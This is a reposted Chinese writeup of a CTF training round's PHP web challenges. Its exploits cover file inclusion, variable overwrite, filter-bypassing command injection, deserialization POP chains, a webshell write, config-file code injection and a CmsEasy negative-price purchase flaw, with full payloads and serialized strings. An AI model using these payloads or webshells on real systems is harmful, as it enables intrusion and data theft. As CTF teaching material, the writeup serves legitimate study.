某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on

这篇具有很好参考价值的文章主要介绍了某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Web

简单的web

PHP代码审计

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    echo "try to read source ?action=";
    $action = $_GET['action'];
        if (isset($action)) {
            if (preg_match("/base|data|input|zip|zlib/i", $action)) {
                echo "<script>alert('you are A Hacker!!!')</script>";
            } else {
                include("$action");
            }
        }
?> 

文件包含,但是过滤了很多关键字,常见的PHP伪协议无法使用。但是可以进行远程文件包含:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

赛后看到还有一种解法,仍然可以通过PHP伪协议,通过ROT13编码包含Nginx日志文件找到flag路径,然后包含flag文件获得答案:

/?action=php://filter/read=string.rot13/resource=/var/log/nginx/access.log

你玩过2048吗

玩过,合成数字就行了。

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

查看Jscript代码,定位到关键逻辑:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

当分数达到2048时,显示flag,直接运行Jscript代码即可:

confirm(Decode('l%C2%85%C2%94%C2%96%C2%97%C2%9A%C3%81%C3%A1%C3%87%C3%87%C3%8C%C2%9Fq%C2%9A%C3%83%C2%97id%C2%95%C2%94af%C2%97%C3%85%C2%98jgipj%C2%96%C3%89%C2%9Dne%C2%96%C2%97gh%C2%AF'));
// DASCTF{faff98ba631d015bc552791ed950f162}

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

EasyPhp-v2

右键查看源码,看到PHP代码:

<?php
	foreach ($_POST as $item => $value){
	    $$item=$$value;
	    $secret = $$item;
	}
	foreach ($_GET as $key => $value){
	    if ($key=='flag'){
	        $str=$value;
	        $$str=$secret;
	    }
	}
	if (isset($hehe)){
	    echo "<center>".$hehe."</center>";
	}
	//flag+flaag=DASCTF{XXXXXXX}
?>

考察变量覆盖漏洞,使用POST方式传入value为flag的键值对,使得flag比变量即flag的前半段赋给secret变量。再通过GET方式使得hehe变量的值等于secret,即flag变量,打印输出即可。

# GET
?flag=hehe
# POST
a=flag
a=fllag

black

主页啥也没有,view-source查看源代码,发现step.php页面。直接访问的话会快速跳转到black.php空白页面,这里如果查看源代码的话会发现还有一个EDG.php页面,访问之:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

看到一个图片,查看源码,页面返回了图片文件的Base64编码:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

关注到URL的参数如下:

/EDG.php?img=353736643331376136343537343637353531366433343364

发现该参数经过了两次Base64编码和两次十六进制编码,解码如下:

353736643331376136343537343637353531366433343364
# 十六进制解码
576d317a64574675516d343d
# 十六进制解码
Wm1zdWFuQm4=
# Base64解码
ZmsuanBn
# Base64解码
fk.jpg

将本页面EDG.php进行如上编码,传入img参数:

/EDG.php?img=3535366335363533353334353738373535313664333936613531353433303339

返回页面查看源代码,将返回数据进行Base64解码,得到EDG.php的源码:

<center>
<?php
	error_reporting(0);
	header('content-type:text/html;charset=utf-8');
	include("flag.php");//flag in flag.php
	$cmd = $_GET['cmd'];
	if (!isset($_GET['img'])) 
	    echo '<script language=javascript>window.location.href="EDG.php?img=353736643331376136343537343637353531366433343364"</script>';
	    $file = base64_decode(base64_decode(hex2bin(hex2bin($_GET['img']))));
	$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
	if (preg_match("/flag/i", $file)) {
	    echo 'ä½ æƒ³è¦flagï¼Ÿè¡Œï¼Œé‚£æˆ‘ç»™ä½ å§~';
	    echo '<script language=javascript>window.location.href="flag.php"</script>';
	} else {
	    $txt = base64_encode(file_get_contents($file));
	    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
	    echo "<br>";
	}
	if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|diff|file|echo|sh|'|\"|`|;|,|\\|xA0|{|}|[|]|-|<|>/i", $cmd)) {
	    echo("forbid ~");
	    echo "<br>";
	} else {
	    system($cmd);
	}?>

进行代码审计,可以通过GET方式的cmd参数进行命令执行,但是过滤了很多命令,使用反斜杠\绕过即可:

EDG.php?img=123&cmd=who\ami

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

sqlnm

本题可以参考我之前写的一篇Writeup:

某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-CSDN博客

我当时是用SQL盲注直接解的,赛后发现其实本题应该后面还有一个Vim源码泄露,我也补充进之前这篇文章了,详情请移步观看。

WriteIt

主页啥也没有,查看robots.txt,发现oh_somesecret页面:

<?php
	highlight_file(__FILE__);
	class OhYouFindIt{
	    public $content = "Hello Hacker.<br>";
	    function __destruct(){
	        echo $this->content;
	    }
	}
	class writeshell{
	    public $filename;
	    public $content;
	    function __toString()
	    {
	        if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
	            system('rm -rf ../upload/*');
	            file_put_contents("../upload/".$this->filename, $this->content);
	            echo "ok~ You File is"."../upload/".$this->filename;
	        }else{
	            exit("Go Way Hacker");
	        }
	        return "";
	    }
	}
	
	$content = $_GET['content'];
	if (!isset($content))
	{
	    $a = new OhYouFindIt();
	}else{
	    unserialize(base64_decode($content));
	}
?> 

进行代码审计,通过OhYouFindIt类的析构方法进入writeshell类的__toString方法,实现任意文件写入。

使用/.绕过file_put_contents函数的扩展名黑名单过滤即可。

EXP如下:

<?php
	class OhYouFindIt{
	    public $content;
	}
	class writeshell{
	    public $filename;
	    public $content;
	}
	
	$shell = new writeshell();
	$shell->filename = "shell.php/.";
	$shell->content = '<?php eval($_POST["pass"]);?>';
	$oh = new OhYouFindIt();
	$oh->content = $shell;
	echo base64_encode(serialize($oh));
	// TzoxMToiT2hZb3VGaW5kSXQiOjE6e3M6NzoiY29udGVudCI7TzoxMDoid3JpdGVzaGVsbCI6Mjp7czo4OiJmaWxlbmFtZSI7czoxMToic2hlbGwucGhwLy4iO3M6NzoiY29udGVudCI7czoyOToiPD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4iO319
?>

显示文件上传成功:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

成功执行命令:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

flagshop

进入,是一个EasyCms的商城页面,发现精选商品中有一个商品是admin,可以进行购买。

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

此处存在CmsEasy7.6.3.2的一个逻辑漏洞,可以不要钱购买任意商品。购买过程中修改生成订单报文,将thisnum参数修改为负数:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

跳转订单确认页,价格变为负数:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

直接0元购admin,购买成功后返回管理员账号密码:admin/1qasw23edfr4!@#

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

使用管理员账号登录后台管理端,发现后台存在模板界面,且提供修改功能。修改模板内容,写入木马,保存访问连接即可。

EZPHP

PHP代码审计题:

 <?php
 
	error_reporting(0);
	function daddslashes($str)
	{
	    if (is_array($str)) {
	        $keys = array_keys($str);
	        foreach ($keys as $key) {
	            $val = $str[$key];
	            unset($str[$key]);
	            $str[addslashes($key)] = daddslashes($val);
	        }
	    }else{
	        $str = htmlspecialchars(addslashes(trim($str)), ENT_QUOTES); 
	    }
	    return $str;
	}
	function edit_lang() {
	    
	    if ($_POST['update']) {
	        $lang_path='./lang_cn.php';
	        
	        $content=file_get_contents($lang_path);
	        $replace="'".$_POST['key']."'=>'".$_POST['val']."',";
	        $content=str_replace(');',"\n".$replace.');',$content);
	        file_put_contents($lang_path,$content);
	        echo "更新成功"."<br>";
	        get_lang();
	    }
	    else{
	        get_lang();
	    }
	}
	
	function get_lang(){
	    echo json_encode(include('./lang_cn.php'),JSON_UNESCAPED_UNICODE);
	}
	
	function init_lang(){
	    copy('./lang_cn.php.bak','./lang_cn.php');
	    echo "初始化成功"."<br>";
	    get_lang();
	}
	
	$lists = array('_COOKIE','_GET','_POST');
	foreach($lists as $list){
	    $$list = daddslashes($$list);
	}
	if($_GET['edit']){
	    edit_lang();
	}elseif($_GET['init']){
	    init_lang();
	}else{
	    highlight_file(__FILE__);
	}
?>

题目提供了一个模板文件,文件里就是一个字符串数组。可以直接访问lang_cn.php.bak,得到文件内容为:

<?php
return 
    array(
		'name'=>'姓名',
		'login'=>'登录',
		'register'=>'注册',
		'search'=>'搜索',
    );
?>

继续看代码,题目提供了初始化、查询、更新功能,更新功能每次可以添加一个键值对,key 和 value 的值由前端输入,但是要经过过滤函数在某些字符前加上斜杠转义,并转换为 HTML 实体。

但注意实现更新逻辑的代码段,是将代码中的);替换为\n'key'=>'val',);,这里有点像 CmsEasy 的后台RCE,第一次更新的时候没问题,但是如果数组中的值包含);字符的话,就会产出问题。

$replace="'".$_POST['key']."'=>'".$_POST['val']."',";
$content=str_replace(');',"\n".$replace.');',$content);

例如,第一次插入的数据为,将);写进数组的值:

update=1&key=a&val=);

此时lang_cn.php文件内容应为:

<?php
return 
    array(
		'name'=>'姓名',
		'login'=>'登录',
		'register'=>'注册',
		'search'=>'搜索',
		'a'=>');',
    );
?>

页面显示:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

第二次插入的数据为:

update=1&key=.phpinfo());/*&val=a

此时我们同构替换数组值中的);,成功地逃逸到单引号外部,成功执行PHP函数,lang_cn.php文件内容应为:

<?php
return 
    array(
		'name'=>'姓名',
		'login'=>'登录',
		'register'=>'注册',
		'search'=>'搜索',
		'a'=>''.phpinfo());/*'=>'a',
		);',
		'.phpinfo());/*'=>'a',
		);
?>*/

成功解析:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

我们可以注意到,第一次请求与key的值没有关系,只需要value的值包含);就行了;而第二次请求的值和value没有关系,因为已经被我们传入的key值注释掉了。

因此,Payload可以简化为一个,连发两笔即可:

?edit=1
update=1&key=.system($_POST[cmd]));/*&val=);

成功执行命令,查找flag即可:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

babypop

PHP反序列化代码审计:

 <?php
 
	highlight_file(__FILE__);
	class Welcome{
	    public $name;
	    public function __destruct()
	    {
	        echo "welcome".$this->name;
	    }
	}
	class A{
	    public $name;
	    public function __toString(){
	        return "Hello".$this->name;
	    }
	}
	class Name{
	    public $class;
	    public $name;
	    public function __toString()
	    {
	        return $this->class->name;
	    }
	}
	class B{
	    public $class;
	    public function __get($name)
	    {
	        ($this->class)();
	    }
	}
	class C{
	    public $func;
	    public $args;
	    public function __invoke()
	    {
	        if(!is_array($this->args)){
	            die("args must be array!");
	        }
	        call_user_func($this->func,$this->args);
	    }
	}
	
	class Flag{
	    public $a;
	    public $flag;
	    public $c;
	    public function getflag()
	    {
	
	        $this->flag = "echo('DASCTF{Th1s_1s_Fake_Flllag}');";
	        $this->a = $this->b;
	        echo eval($this->flag);
	    }
	}
	
	$o = $_GET['o'];
	if(isset($o)){
	    unserialize($_GET['o']);
	}
?>

经过分析,入口类为Welcome,通过析构函数开始进入函数调用,调用链为:

Welcom -> A -> Name -> B -> C -> Flag

下面进行详细分析:

  1. Welcome:通过析构函数开始执行,通过打印字符串调用A的__toString函数;
  2. A:再次通过字符串转换调用Name的__toString函数;
  3. Name:通过调用class参数的name参数,进入B的__get函数;
  4. B:通过函数调用的方式,进入C的__invoke函数;
  5. C:这里限制了call_user_func函数的第二个参数必须为数组,因此无法直接使用常规RCE进行命令执行。可以再次调用call_user_func,采用对象的回调方式,数组的第一个元素传入一个Flag对象,第二个元素传入getflag字符串,调用Flag的getflag函数。
  6. Flag:getflag函数中给flag字段重新赋值了,我们无法直接通过传入参数控制flag的值。但可以利用引用的特性间接给flag赋值,从而实现RCE。

EXP如下:

<?php

	class Welcome{
	    public $name;
	}
	class A{
	    public $name;
	}
	class Name{
	    public $class;
	    public $name;
	}
	class B{
	    public $class;
	}
	class C{
	    public $func;
	    public $args;
	}
	class Flag{
	    public $a;
	    public $flag;
	    public $c;
	}
	
	$flag = new Flag();
	$flag->a = &$flag->flag;
	$flag->b = "system('whoami');";
	$c = new C();
	$c->func = "call_user_func";
	$c->args = array($flag,"getflag");
	$b = new B();
	$b->class = $c;
	$name = new Name();
	$name->name = "";
	$name->class = $b;
	$a = new A();
	$a->name = $name;
	$wel = new Welcome();
	$wel->name = $a;
	echo serialize($wel);
	// O:7:"Welcome":1:{s:4:"name";O:1:"A":1:{s:4:"name";O:4:"Name":2:{s:5:"class";O:1:"B":1:{s:5:"class";O:1:"C":2:{s:4:"func";s:14:"call_user_func";s:4:"args";a:2:{i:0;O:4:"Flag":4:{s:1:"a";N;s:4:"flag";R:9;s:1:"c";N;s:1:"b";s:17:"system('whoami');";}i:1;s:7:"getflag";}}}s:4:"name";s:0:"";}}}
?>

执行命令:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

eval

PHP反序列化代码审计:

<?php
	
	class wake{
	    public $das;
	    public $ctf;
	    public function __construct()
	    {
	        echo "Welcome DASCTF!";
	    }
	    public function __wakeup()
	    {
	        $this->das->login();
	    }
	}
	class cat_flag
	{
	    public $das;
	    public $ctf;
	    public function login()
	    {
	        echo "Login Success!";
	    }
	}
	class get_flag
	{
	    public $das;
	    public $ctf;
	    public function login()
	    {
	        $this->tmp2->get_flag();
	    }
	}
	
	class hackme
	{
	    public $das;
	    public $ctf;
	    public function __toString()
	    {
	        $this->das->hack();
	        return "really flag";
	    }
	}
	class first_flag
	{
	    public $das="Hello World!";
	    public $ctf;
	    public function __call($a,$b)
	    {
	        echo $this->ctf.$this->das;
	    }
	}
	class firststep
	{
	    public $das;
	    public $ctf;
	    public function hack()
	    {
	        if (isset($_POST["DAS"])){
	            if (preg_match('/system|exec|phpinfo|\"|\'/i',$_POST["DAS"])){
	                die("Hacker!!!!");
	            }
	            if (strlen($_POST["DAS"])<=17){
	                $code = preg_replace("/[a-zA-Z0-9]/e",$_POST['DAS'],$_POST['CTF']);
	            }else{
	                die("Too long!!!");
	            }
	        }
	    }
	}
	if(isset($_GET['DASCTF']))
	{
	    unserialize($_GET['DASCTF']);
	}
	else{
	    highlight_file(__FILE__);
	} 
?>

经过分析,入口类为wake,通过__wakeup函数开始进入函数调用,调用链为:

wake -> get_flag -> first_flag -> hackme -> first_step

下面进行详细分析:

  1. wake:通过反序列化进入__wake函数开始执行,函数内调用das参数的login函数,通过POP链构造进入get_flag的同名函数;
  2. get_flag:login函数内调用了tmp2变量的get_flag函数,可以从此处进入first_flag的__call函数;
  3. first_flag:通过字符串转换,进入hackme的__toString函数;
  4. hackme:函数内调用das参数的hack函数,可以进入first_step的同名函数;
  5. first_step:利用preg_replace函数进行命令执行即可。题目中过滤了命令执行函数的关键字,使用传参绕过即可。

preg_replace函数用来执行一个正则表达式的搜索和替换:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。

当规则表达式的修饰符使用/e修饰符时,则存在代码执行漏洞,例如:

preg_replace("/hello/e",$_POST["cmd"],"hello world");

综上,EXP如下:

<?php

    class wake{
        public $das;
        public $ctf;
    }
    class cat_flag
    {
        public $das;
        public $ctf;
    }
    class get_flag
    {
        public $das;
        public $ctf;
    }

    class hackme
    {
        public $das;
        public $ctf;
    }
    class first_flag
    {
        public $das;
        public $ctf;
    }
    class firststep
    {
        public $das;
        public $ctf;
    }

    $firststep = new firststep();
    $hackme = new hackme();
    $hackme->das = $firststep;
    $firstflag = new first_flag();
    $firstflag->ctf = $hackme;
    $getflag = new get_flag();
    $getflag->tmp2 = $firstflag;
    $wake = new wake();
    $wake->das = $getflag;
    echo serialize($wake);
    // O:4:"wake":2:{s:3:"das";O:8:"get_flag":3:{s:3:"das";N;s:3:"ctf";N;s:4:"tmp2";O:10:"first_flag":2:{s:3:"das";N;s:3:"ctf";O:6:"hackme":2:{s:3:"das";O:9:"firststep":2:{s:3:"das";N;s:3:"ctf";N;}s:3:"ctf";N;}}}s:3:"ctf";N;}
?>

Bypass过滤:

DAS=eval($_POST[a])&CTF=123&a=system("whoami");

成功执行命令:

某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on,php,安全,网络安全,web安全

参考链接

EasyCms的后台RCE漏洞:某Easy 漏洞挖掘 - 先知社区

Sqlnm题解:某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-CSDN博客文章来源地址https://www.toymoban.com/news/detail-550576.html

到了这里,关于某信息安全攻防大赛周周练考核(二) Writeup By 2ha0yuk7on的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 掌控安全 暖冬杯 CTF Writeup By AheadSec

    本来结束时发到了学校AheadSec的群里面了的,觉得这比赛没啥好外发WP的,但是有些师傅来问了,所以还是发一下吧。 扫目录能看到 /admin 路径 在 doCalc 的源码报错下面能看到获取了一个 username 参数 以及 secret_key 利用 https://github.com/noraj/flask-session-cookie-manager.git 生成payload 得到

    2024年02月03日
    浏览(33)
  • 河南省第四届”金盾信安杯”网络安全大赛writeup(过程,解题思路)

    目录 写在最最前面 Misc Misc-qianda0_Sdoku​编辑 Misc-盗梦空间 Misc-Megmi Misc-数据泄露01-账号泄露追踪 Web Web-eZphp2 Web-EzPHP Web-有来无回 Crypto Crypto-小菜一碟 Crypto-RRSSAA​编辑 Crypto-simpleR 加油各位( •̀ ω •́ )y 期待与君再相逢 本人今天也是在和病毒抗争中,打今天的 ” 金盾信安杯

    2024年02月04日
    浏览(50)
  • [第七届蓝帽杯全国大学生网络安全技能大赛 蓝帽杯 2023]——Web方向部分题 详细Writeup

    你真的熟悉PHP吗? 源码如下 首先要先解决传参 my_secret.flag 根据php解析特性,如果字符串中存在 [、. 等符号,php会将其转换为 _ 且只转换一次 ,因此我们直接构造 my_secret.flag 的话,最后php执行的是 my_secret_flag ,因此我们将前面的 _ 用 [ 代替,也就是传参的时候传参为 my[s

    2024年02月10日
    浏览(45)
  • 2023陕西省大学生信息安全竞赛web writeup

    早写好了,忘发了,题目质量还行,够我坐大牢 简单的反序列化,exp如下 传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样 preg_replace采用了/e的模式,很明显有rce漏洞,简

    2024年02月07日
    浏览(50)
  • 第十五届全国大学生信息安全竞赛部分WriteUp

    做了10个,都是烂大街的题目,分数很低。CTF榜单186,以为稳进分区赛了。理论题算上变一千五百多名,华东南二百多名,进不去了,WriteUp也不想上传了。 不是密码选手,但密码非预期搞出来几个 签到电台 关注公众号给的提示“弼时安全到达了”,查找这几个字的中文电码

    2024年02月06日
    浏览(61)
  • 2022浙江省大学生信息安全竞赛技能赛初赛Writeup

    前言:misc浅浅ak了一下,misc2一血misc3二血,最高冲上了第5,不过后来还是嘎嘎掉到第9,crypto和pwn一道没出真的太菜了( 希望周末决赛能好好加油! 拖到010观察得到是逆置的zip压缩包,简单写个脚本倒一下 解开后得到一个缺少文件头的png,补上png文件头 提示CRC校验错误,修

    2024年02月07日
    浏览(53)
  • 全国大学生信息安全竞赛初赛writeup(历年CISCN真题与解析)

    收录了大佬们参加全国大学生信息安全竞赛初赛的writeup和真题环境,方便学习,排名不分先后,谨参考完整度和CSDN站内优先原则。 在此,对大佬们的分享表示由衷的敬意和诚挚的感谢! 第十二、十三届全国大学生信息安全竞赛——创新实践能力赛原题 如果遇到打不开的链

    2024年02月06日
    浏览(67)
  • 浪潮信息 KeyarchOS 安全可信攻防体验

       KeyarchOS 即云峦服务器操作系统(简称 KOS )是浪潮信息基于 Linux 内核、龙蜥等开源技术自主研发的一款服务器操作系统,支持 x86 、 ARM 等主流架构处理器,广泛兼容传统 CentOS 生态产品和创新技术产品,可为用户提供整套可视化 CentOS to KeyarchOS 迁移方案。 KeyarchOS 是一款面

    2024年01月22日
    浏览(49)
  • 网络安全实验室|网络信息安全攻防学习平台(脚本关1-6)

    传送门: http://hackinglab.cn/ 点击此处开启抓包,send ti repeater 模块 脚本来源: https://blog.csdn.net/hzxtjx/article/details/125692349 使用requests库向网站发送HTTP请求,并使用re模块使用正则表达式从网站的HTML内容中提取信息。所选的代码块定义了一个正则表达式模式r’/n(.*?)=i’。此模式

    2024年02月08日
    浏览(77)
  • Web 攻防之业务安全:接口未授权访问/调用测试(敏感信息泄露)

    业务安全是指保护业务系统免受安全威胁的措施或手段。 广义 的业务安全应包括业务运行的 软硬件平台 (操作系统、数据库,中间件等)、 业务系统自身 (软件或设备)、 业务所提供的服务安全 ; 狭义 的业务安全指 业务系统自有的软件与服务的安全 。 目录 : 验证码

    2023年04月12日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包